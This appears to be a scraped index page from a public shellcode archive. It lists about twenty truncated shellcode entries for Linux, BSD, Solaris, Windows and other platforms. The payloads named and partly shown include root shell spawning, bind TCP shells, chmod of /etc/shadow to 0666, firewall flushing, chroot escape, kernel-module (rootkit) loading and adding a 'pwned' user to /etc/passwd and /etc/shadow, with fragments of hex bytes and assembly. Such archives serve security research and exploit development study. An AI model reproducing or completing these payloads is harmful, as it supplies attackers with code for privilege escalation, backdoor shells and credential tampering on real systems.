Linux/x86-64 - setreuid(0,0) + execve(/bin/ksh, [/bin/ksh, NULL]) + XOR Encoded Shellcode (87 bytes)

Linux/x86-64 - setreuid0,0 + execve/bin/ksh, /bin/ksh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...

Linux/x86-64 - setreuid(0,0) + execve(/bin/zsh, [/bin/zsh, NULL]) + XOR Encoded Shellcode (87 bytes)

Linux/x86-64 - setreuid0,0 + execve/bin/zsh, /bin/zsh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...

Linux/x86 - setuid(0) + chmod(/etc/shadow, 0666) Shellcode (37 bytes)

Linux/x86 - setuid0 + chmod/etc/shadow, 0666 Shellcode 37 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 setuid0 + chmod"/etc/shadow", 0666 Shellcode 37 Bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int...

Linux/StrongARM - Bind TCP Shell (/bin/sh) Shellcode (203 bytes)

Linux/StrongARM - Bind TCP Shell /bin/sh Shellcode 203 bytes. Shellcode exploit for ARM platform / 203 byte StrongARM/Linux bind portshell shellcode funkysh / char shellcode= "\x20\x60\x8f\xe2" / add r6, pc, 32 / "\x07\x70\x47\xe0" / sub r7, r7, r7 / "\x01\x70\xc6\xe5" / strb r7, r6, 1 /...

Linux/x86-64 - Execute /bin/sh Shellcode (27 bytes)

Linux/x86-64 - Execute /bin/sh Shellcode 27 bytes. Shellcode exploit for Linuxx86-64 platform / Execute /bin/sh - 27 bytes Dad 0x7ffff7aeff20 : mov eax,0x3b ; 0x7ffff7aeff25 : syscall ; main: ;mov rbx, 0x68732f6e69622f2f ;mov rbx, 0x68732f6e69622fff ;shr rbx, 0x8 ;mov rax, 0xdeadbeefcafe1dea ;mov...

BSD/x86 - execve(/bin/sh) + seteuid(0) Shellcode (31 bytes)

BSD/x86 - execve/bin/sh + seteuid0 Shellcode 31 bytes. Shellcode exploit for BSDx86 platform / simply execvebinsh+seteuid0 shellcode in 31 bytes written on nasm - my first nasm exp. greetz2: mig darknet /EFnet.org nerf nerf /EFnet.org dev0id rus-sec /EFnet.org rootteam.void.ru / char shellcode =...

Linux/x86 - setuid(0) + execve(/bin/sh, 0, 0) Shellcode (27 bytes)

Linux/x86 - setuid0 + execve/bin/sh, 0, 0 Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform include include / by Magnefikko 24.04.2010 [email protected] Promhyl Studies :: http://promhyl.oz.pl Subgroup: PRekambr Name: 27 bytes setuid0 ^ execve"/bin/sh", 0, 0 shellcode Platform: Linux...

Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) + exit() Shellcode (64 bytes)

Linux/x86 - Flush IPChains Rules /sbin/ipchains -F + exit Shellcode 64 bytes. Shellcode exploit for Linuxx86 platform / The shellcode flushs the ipchains table by running /sbin/ipchains -F then exit greetz to zilion: man, my code is shorter! size = 64 bytes OS = Linux i386 written by...

FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes)

FreeBSD/x86 - execv/bin/sh Shellcode 23 bytes. Shellcode exploit for FreeBSDx86 platform / -------------- FreeBSD/x86 - execv"/bin/sh" 23 bytes ------------------------- AUTHOR : Tosh OS : BSDx86 Tested on FreeBSD 8.1 EMAIL : [email protected] / include include char shellcode =...

Linux/x86 - setuid() + execve() + exit() Shellcode (44 bytes)

Linux/x86 - setuid + execve + exit Shellcode 44 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode by bob / / setuid; execve; exit; / include char shellcode= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"...

Windows/x86 (XP Professional SP3) (French) - calc.exe Shellcode (31 bytes)

Windows/x86 XP Professional SP3 French - calc.exe Shellcode 31 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF / | Title: Windows Xp Pro SP3 Fr calc.exe Shellcode 31 Bytes | Type: Shellcode | Author: agix | Platform: win32 / include char shellcode = "\xEB\x10" //j...

Linux/x86 - execve(/bin/sh) + Using jump/call/pop Shellcode (52 bytes)

Linux/x86 - execve/bin/sh + Using jump/call/pop Shellcode 52 bytes. Shellcode exploit for Linuxx86 platform ;Description: JMP-CALL-POP execve shell 52 bytes ;Shellcode:...

OpenBSD/x86 - Load Kernel Module (/tmp/o.o) Shellcode (66 bytes)

OpenBSD/x86 - Load Kernel Module /tmp/o.o Shellcode 66 bytes. Shellcode exploit for OpenBSDx86 platform / The modload shellcode loads /tmp/o.o module very usefull if you have rootkit as kernel module in the /tmp dir and you can easily change the path directly in the code Size 66 bytes OS OpenBSD...

BSD/x86 - Bind TCP (2222/TCP) Shell Shellcode (100 bytes)

BSD/x86 - Bind TCP 2222/TCP Shell Shellcode 100 bytes. Shellcode exploit for BSDx86 platform / The bind shellcode that opens the shell on 2222nd port Size 100 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 main: xor eax,eax push byte 0x06 push byte 0x01 push byte 0x0...

BSD/x86 - Break chroot (../ 10x Loop) Shellcode (40 bytes)

BSD/x86 - Break chroot ../ 10x Loop Shellcode 40 bytes. Shellcode exploit for BSDx86 platform / One of the smallest chroot shellcodes it will put '../' 10 times Size 40 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 jmp short callme main: pop esi mov edi,esi xor...

BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

BSD/x86 - symlink /bin/sh sh Shellcode 39 bytes. Shellcode exploit for BSDx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. size = 39 bytes OS = BSD written by /rootteam/dev0id rootteam.void.ru BITS 32 jmp short callme main: pop esi xor eax,eax mo...

Solaris/x86 - execve(/bin/sh) Shellcode (43 bytes)

Solaris/x86 - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for Solarisx86 platform / Solaris shellcode - execve /bin/sh / include // http://www.shellcode.com.ar // // execve//bin/sh char shellcode= "\xb8\xff\xf8\xff\x3c" // mov eax, 03cfff8ffh "\xf7\xd0" // not eax "\x50" // push eax...

Alpha - execve() Shellcode (112 bytes)

Alpha - execve Shellcode 112 bytes. Shellcode exploit for Alpha platform char shellcode= "\x30\x15\xd9\x43" / subq $30,200,$16 / / $16 = $30 - 200 / $16 must have the shellcode address. However, before / / the bsr instruction, $16 can't have the address. / / This instruction just store the...

Windows/x86 (XP SP3) (Turkish) - MessageBoxA Shellcode (109 bytes)

Windows/x86 XP SP3 Turkish - MessageBoxA Shellcode 109 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF Title : win32/xp sp3 Tr MessageBoxA Shellcode 109 bytes Proof : http://img443.imageshack.us/img443/7900/proofaz.jpg Author : ZoRLu mail-msn :...

Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{passwd,shadow} Shellcode (273 bytes)

Linux/x86-64 - Add User pwned/$pass$ Using echo cmd To /etc/passwd,shadow Shellcode 273 bytes. Shellcode exploit for Linuxx86-64 platform ; shellcode name adduserpassword ; Author : Christophe G SLAE64-1337 ; Len : 273 bytes ; Language : Nasm ; "name = pwned ; pass = $pass$" ; add user and passwo...